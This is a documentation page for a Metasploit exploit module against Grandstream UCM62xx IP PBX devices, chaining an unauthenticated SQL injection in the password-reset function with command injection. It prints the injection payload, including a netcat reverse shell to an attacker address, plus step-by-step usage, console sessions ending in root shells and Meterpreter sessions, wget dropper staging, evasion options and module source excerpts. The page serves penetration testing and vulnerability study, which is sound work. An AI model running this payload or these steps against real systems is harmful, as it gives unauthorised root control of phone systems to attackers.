Grandstream UCM62xx IP PBX sendPasswordEmail RCE - Metasploit


This page contains detailed information about how to use the exploit/linux/http/grandstream_ucm62xx_sendemail_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Grandstream UCM62xx IP PBX sendPasswordEmail RCE
Module: exploit/linux/http/grandstream_ucm62xx_sendemail_rce
Source code: modules/exploits/linux/http/grandstream_ucm62xx_sendemail_rce.rb
Disclosure date: 2020-03-23
Last modification time: 2022-01-24 21:01:34 +0000
Supported architecture(s): cmd, armle
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8089, 8443, 8880, 8888
List of CVEs: CVE-2019-10662, CVE-2020-5722

This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' cat <<'TTsf7G0' z' or 1=1--;nc 10.0.0.3 4444 -e /bin/sh;TTsf7G0 This module affect UCM62xx versions before firmware version 1.0.19.20.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
msf exploit(grandstream_ucm62xx_sendemail_rce) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root.

Exploitation happens in two stages:

  1. An SQL injection during username lookup while executing the "Forgot Password" function.
  2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so:
  /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
    password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `

This module affect UCM62xx versions before firmware version 1.0.19.20.

Installation

The UCM62xx PBX is a physical device and is not known to have been successfully emulated. However, if you have a device, affected firmware can be downloaded here:

  • https://firmware.grandstream.com/Release_UCM62xx_1.0.18.13.zip

Verification Steps


  • Acquire an affected device and configure it with the affected firmware
  • Do: use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
  • Do: set RHOST <ip>
  • Do: check
  • Verify the remote target is flagged as vulnerable
  • Do: set LHOST <ip>
  • Do: set LPORT <port>
  • Do: exploit
  • You should get a Meterpreter session.

Targets


0

This targets the PBX with the reverse_netcat_gaping payload and returns a reverse shell.

1

This target obtains a meterpreter session using wget.

Options


TARGETURI

Specifies base URI. The default value is /.

Scenarios


Grandstream UCM6202 IP PBX fimrware version 1.0.18.13. Get Meterpreter session.

msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9
RHOST => 10.0.0.9
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > check

[*] Requesting version information from /cgi
[*] The reported version is: 1.0.18.13
[*] 10.0.0.9:8089 - The target appears to be vulnerable. This determination is based on the version string.
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run

[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting version information from /cgi
[*] The reported version is: 1.0.18.13
[+] The target appears to be vulnerable. This determination is based on the version string.
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/unV0mXd6RPWD
[*] Local IP: http://10.0.0.3:8080/unV0mXd6RPWD
[*] Client 10.0.0.9 (Wget/1.10.1) requested /unV0mXd6RPWD
[*] Sending payload to 10.0.0.9 (Wget/1.10.1)
[*] Sending stage (903400 bytes) to 10.0.0.9
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.9:51031 ) at 2022-01-15 12:12:28 -0800
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.

meterpreter > shell
Process 4990 created.
Channel 1 created.
whoami
root
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Thu Jul 5 15:56:51 CST 2018 armv7l GNU/Linux
cat /proc/cpuinfo
Processor   : ARMv7 Processor rev 10 (v7l)
processor   : 0
BogoMIPS    : 1988.29

processor   : 1
BogoMIPS    : 1987.37

Features    : swp half thumb fastmult vfp edsp neon vfpv3
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x2
CPU part    : 0xc09
CPU revision    : 10

Hardware    : Freescale i.MX 6Quad/DualLite/Solo based Board
Revision    : 63015
Serial      : 1126b9d4eacb275c

Grandstream UCM6202 IP PBX firmware version 1.0.18.13. Get reverse shell using netcat.

msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set target 0
target => 0
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set RHOST 10.0.0.9
RHOST => 10.0.0.9
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > run

[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting version information from /cgi
[*] The reported version is: 1.0.18.13
[+] The target appears to be vulnerable. This determination is based on the version string.
[*] Executing Unix Command for cmd/unix/reverse_netcat_gaping
[+] Exploit successfully executed.
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.9:51251 ) at 2022-01-15 12:19:18 -0800

whoami
root
uname -a
Linux UCM6202 3.0.35 #1 SMP PREEMPT Thu Jul 5 15:56:51 CST 2018 armv7l GNU/Linux
ps faux
PID   USER     TIME   COMMAND
    1 root       0:00 /sbin/init
    2 root       0:00 [kthreadd]
    3 root       0:05 [ksoftirqd/0]
    5 root       0:00 [kworker/u:0]
    6 root       0:00 [migration/0]
    7 root       0:00 [khelper]
    8 root       0:00 [kworker/u:1]
  156 root       0:00 [sync_supers]
  158 root       0:00 [bdi-default]
  160 root       0:00 [kblockd]
  186 root       0:00 [imx6q-ecspi.0]
  188 root       0:00 [imx6q-ecspi.2]
  197 root       0:00 [khubd]
  293 root       0:00 [rpciod]
  301 root       0:00 [usb_wakeup thre]
  304 root       0:00 [usb_wakeup thre]
  315 root       0:00 [kswapd0]
  316 root       0:00 [ksmd]
  317 root       0:00 [fsnotify_mark]
  318 root       0:00 [nfsiod]
  323 root       0:00 [crypto]
  438 root       0:00 [kworker/0:3]
  440 root       0:01 [mmcqd/0]
  441 root       0:00 [mmcqd/0boot0]
  442 root       0:00 [mmcqd/0boot1]
  564 root       0:00 udevd --daemon
 1477 root       0:00 [kworker/1:2]
 3677 root       0:00 [kworker/0:1]
 3716 root       0:00 [kworker/1:0]
 5347 root       0:00 [kworker/0:0]
 5507 root       0:00 [migration/1]
 5544 root       0:02 [ksoftirqd/1]
 5959 root       0:00 /bin/sh
 6008 root       0:00 [kworker/1:1]
 6028 root       0:00 dbus-daemon --session --print-address --fork
 6035 root       0:21 /usr/bin/gs_gui
 6060 root       0:00 /usr/sbin/crond -c /etc/crontabs
 6067 root       0:00 [jbd2/mmcblk0p14]
 6068 root       0:00 [ext4-dio-unwrit]
 6071 root       0:00 [jbd2/mmcblk0p15]
 6072 root       0:00 [ext4-dio-unwrit]
 6294 root       0:01 lowmem_killer
 6297 root       0:00 /usr/bin/pvalue_validation_server /tmp/.pvalue_validation /etc/pvalues.xml
 6298 root       0:00 msg_server
 6319 root       0:00 /sbin/dropbear -jk -p 22
 6363 root       0:00 ifplugd -I -q -d 3 -i eth1
 6460 root       0:00 syslogd -O /log/syslog -T /var/log/syslog.tmp -i 60 -s 1900 -b 24 -l 8
 6462 root       0:00 klogd
 6468 root       0:00 [flush-179:0]
 6661 root       0:00 sleep 60
 6774 root       0:00 {safe_postfix.sh} /bin/sh /cfg/var/lib/asterisk/scripts/safe_postfix.sh
 6783 root       0:03 python /cfg/var/lib/asterisk/scripts/mail_log_monitor.py
 6828 root       0:00 sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
 6843 root       0:00 /bin/sh
 6947 root       0:00 sleep 2
 6948 root       0:00 ps faux
 7253 root       0:00 udhcpc -m -b -i eth1 -V UCM -O vendor -O vivs -O timezone -O ntpsrv -p /var/run/udhcpc.pid.eth1
 7439 root       0:00 /usr/libexec/postfix/master -w
 7441 postfix    0:00 qmgr -l -t unix -u
 7929 root       0:00 [el_handler]
 7963 root       0:00 [TAPIevents]
 8046 root       0:00 [tSVIP0_Rcv]
 8047 root       0:00 [tSVIP0_Ack]
 8052 root       0:00 [tSVIP0_Hnd]
 8156 root       0:00 udevd --daemon
 8170 root       0:00 udevd --daemon
 8278 postfix    0:00 pickup -l -t unix -u
 8435 root      11:17 [fxo.checkhookd]
 8546 root       7:04 [fxs.checkhookd]
 8583 root       0:00 {safe_asterisk} /bin/sh /app/asterisk/sbin/safe_asterisk
 8648 root       0:00 /app/asterisk/libexec/slapd
 8663 root       3:44 /app/asterisk/sbin/asterisk -f -vvvg -c
 8744 root       0:00 /app/asterisk/sbin/dhcpd -cf /app/asterisk/etc/dhcpd.conf -lf /app/asterisk/etc/dhcp/dhcpd.lease -pf /tmp/dhcpd.pid eth0
 8909 root       0:03 /app/asterisk/bin/cgi
 8947 root       0:05 /app/asterisk/sbin/zero_config
 8954 root       0:00 {safe_ucm_warnin} /bin/sh /app/asterisk/bin/safe_ucm_warning
 8960 root       0:07 /app/asterisk/bin/ucm_warning
 8965 root       0:09 python /app/asterisk/bin/service_check.py
 8966 root       0:05 python /app/asterisk/bin/cgi_service_check.py
 8967 root       0:12 python /app/asterisk/bin/mcm_service_check.py
 8968 root       0:12 python /app/asterisk/bin/avs_service_check.py
 9122 root       0:00 python /app/asterisk/bin/portmap.py
 9174 root       0:13 {safe_mid.sh} /bin/sh /cfg/var/lib/asterisk/scripts/safe_mid.sh
 9175 root       0:11 python /app/asterisk/var/lib/asterisk/scripts/core_manager.py
 9189 root       0:35 /app/asterisk/bin/pbxmid
12699 root       0:45 /app/asterisk/sbin/lighttpd -f /app/asterisk/etc/lighttpd/lighttpd.conf

Go back to menu.

Msfconsole Usage


Here is how the linux/http/grandstream_ucm62xx_sendemail_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce

[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show info

       Name: Grandstream UCM62xx IP PBX sendPasswordEmail RCE
     Module: exploit/linux/http/grandstream_ucm62xx_sendemail_rce
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-23

Provided by:
  jbaines-r7

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      8089             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       Base path
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits an unauthenticated SQL injection vulnerability 
  (CVE-2020-5722) and a command injection vulnerability (technically, 
  no assigned CVE but was inadvertently patched at the same time as 
  CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of 
  devices. The vulnerabilities allow an unauthenticated remote 
  attacker to execute commands as root. Exploitation happens in two 
  stages: 1. An SQL injection during username lookup while executing 
  the "Forgot Password" function. 2. A command injection that occurs 
  after the user provided username is passed to a Python script via 
  the shell. Like so: /bin/sh -c python 
  /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' 
  `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` 
  TTsf7G0 ` This module affect UCM62xx versions before firmware 
  version 1.0.19.20.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-5722
  https://www.exploit-db.com/exploits/48247

Module Options


This is a complete list of options available in the linux/http/grandstream_ucm62xx_sendemail_rce exploit:

msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show options

Module options (exploit/linux/http/grandstream_ucm62xx_sendemail_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      8089             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.170  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper

Advanced Options


Here is a complete list of advanced options supported by the linux/http/grandstream_ucm62xx_sendemail_rce exploit:

msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show advanced

Module advanced options (exploit/linux/http/grandstream_ucm62xx_sendemail_rce):

   Name                    Current Setting                                          Required  Description
   ----                    ---------------                                          --------  -----------
   AutoCheck               true                                                     no        Run check before exploit
   CMDSTAGER::DECODER                                                               no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                     no        The CMD Stager to use. (Accepted: auto, wget)
   CMDSTAGER::SSL          false                                                    no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                                  no        Writable directory for staged files
   ContextInformationFile                                                           no        The information file that contains context information
   DOMAIN                  WORKSTATION                                              yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                     no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                                    no        Disable the handler code for the selected payload
   EXE::Custom                                                                      no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                                    no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                                    no        Use the default template in case the specified one is missing
   EXE::Inject             false                                                    no        Set to preserve the original EXE function
   EXE::OldMethod          false                                                    no        Set to use the substitution EXE generation method.
   EXE::Path                                                                        no        The directory in which to look for the executable template
   EXE::Template                                                                    no        The executable template file name.
   EnableContextEncoding   false                                                    no        Use transient context when encoding payloads
   FingerprintCheck        true                                                     no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                                    no        Override check result
   HttpClientTimeout                                                                no        HTTP connection and receive timeout
   HttpPassword                                                                     no        The HTTP password to specify for authentication
   HttpRawHeaders                                                                   no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                                    no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                                  no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                                    no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                     no        The HTTP username to specify for authentication
   ListenerComm                                                                     no        The specific communication channel to use for this service
   MSI::Custom                                                                      no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                                    no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                        no        The directory in which to look for the msi template
   MSI::Template                                                                    no        The msi template file name
   MSI::UAC                false                                                    no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                                    no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                     yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS,
                                                                                               SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                                    no        Return a robots.txt file if asked for one
   URIHOST                                                                          no        Host to use in URI (useful for tunnels)
   URIPORT                                                                          no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/5  no        The User-Agent header to use for all requests
                           37.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/53
                           7.36
   VERBOSE                 false                                                    no        Enable detailed status messages
   WORKSPACE                                                                        no        Specify the workspace for this module
   WfsDelay                2                                                        no        Additional delay in seconds to wait for a session

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/grandstream_ucm62xx_sendemail_rce module can exploit:

msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/grandstream_ucm62xx_sendemail_rce exploit:

msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                    normal  No     Interact with Established SSH Connection
   4   payload/linux/armle/adduser                                     normal  No     Linux Add User
   5   payload/linux/armle/exec                                        normal  No     Linux Execute Command
   6   payload/linux/armle/meterpreter/bind_tcp                        normal  No     Linux Meterpreter, Bind TCP Stager
   7   payload/linux/armle/meterpreter/reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Stager
   8   payload/linux/armle/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/armle/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/armle/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/armle/shell/bind_tcp                              normal  No     Linux dup2 Command Shell, Bind TCP Stager
   12  payload/linux/armle/shell/reverse_tcp                           normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   13  payload/linux/armle/shell_bind_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   14  payload/linux/armle/shell_reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/grandstream_ucm62xx_sendemail_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/grandstream_ucm62xx_sendemail_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

HTTP status code is not 200


Here is a relevant code snippet related to the "HTTP status code is not 200" error message:

109:	      'method' => 'POST',
110:	      'uri' => normalized_uri,
111:	      'vars_post' => { 'action' => 'getInfo' }
112:	    })
113:	
114:	    return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
115:	
116:	    body_json = res.get_json_document
117:	    return CheckCode::Unknown('No JSON in response') unless body_json
118:	
119:	    prog_version = body_json.dig('response', 'prog_version')

No JSON in response


Here is a relevant code snippet related to the "No JSON in response" error message:

112:	    })
113:	
114:	    return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200
115:	
116:	    body_json = res.get_json_document
117:	    return CheckCode::Unknown('No JSON in response') unless body_json
118:	
119:	    prog_version = body_json.dig('response', 'prog_version')
120:	    return false if prog_version.nil?
121:	
122:	    vprint_status("The reported version is: #{prog_version}")

This determination is based on the version string: <PROG_VERSION>.


Here is a relevant code snippet related to the "This determination is based on the version string: <PROG_VERSION>." error message:

121:	
122:	    vprint_status("The reported version is: #{prog_version}")
123:	
124:	    version = Rex::Version.new(prog_version)
125:	    if version < Rex::Version.new('1.0.19.20')
126:	      return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
127:	    end
128:	
129:	    return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
130:	  end
131:	

This determination is based on the version string: <PROG_VERSION>.


Here is a relevant code snippet related to the "This determination is based on the version string: <PROG_VERSION>." error message:

124:	    version = Rex::Version.new(prog_version)
125:	    if version < Rex::Version.new('1.0.19.20')
126:	      return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
127:	    end
128:	
129:	    return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
130:	  end
131:	
132:	  ##
133:	  # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
134:	  # and then it will get passed to a python script via sh which allows us to execute a command injection.

The target did not respond with a 200 OK


Here is a relevant code snippet related to the "The target did not respond with a 200 OK" error message:

156:	    # the netcat reverse shell payload holds the connection open. So we'll treat no response
157:	    # as a success. The meterpreter payload does not hold the connection open so this clause digs
158:	    # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload
159:	    # generates an error (e.g. rate limit error)
160:	    if res
161:	      fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
162:	
163:	      body_json = res.get_json_document
164:	      fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:	
166:	      status_json = body_json['status']

The target did not respond with a JSON body


Here is a relevant code snippet related to the "The target did not respond with a JSON body" error message:

159:	    # generates an error (e.g. rate limit error)
160:	    if res
161:	      fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200
162:	
163:	      body_json = res.get_json_document
164:	      fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:	
166:	      status_json = body_json['status']
167:	      fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
168:	      fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
169:	    end

The JSON response is missing the status element


Here is a relevant code snippet related to the "The JSON response is missing the status element" error message:

162:	
163:	      body_json = res.get_json_document
164:	      fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:	
166:	      status_json = body_json['status']
167:	      fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
168:	      fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
169:	    end
170:	
171:	    print_good('Exploit successfully executed.')
172:	  end

The server responded with an error status <STATUS_JSON>


Here is a relevant code snippet related to the "The server responded with an error status <STATUS_JSON>" error message:

163:	      body_json = res.get_json_document
164:	      fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
165:	
166:	      status_json = body_json['status']
167:	      fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json
168:	      fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0
169:	    end
170:	
171:	    print_good('Exploit successfully executed.')
172:	  end
173:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.1.31-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.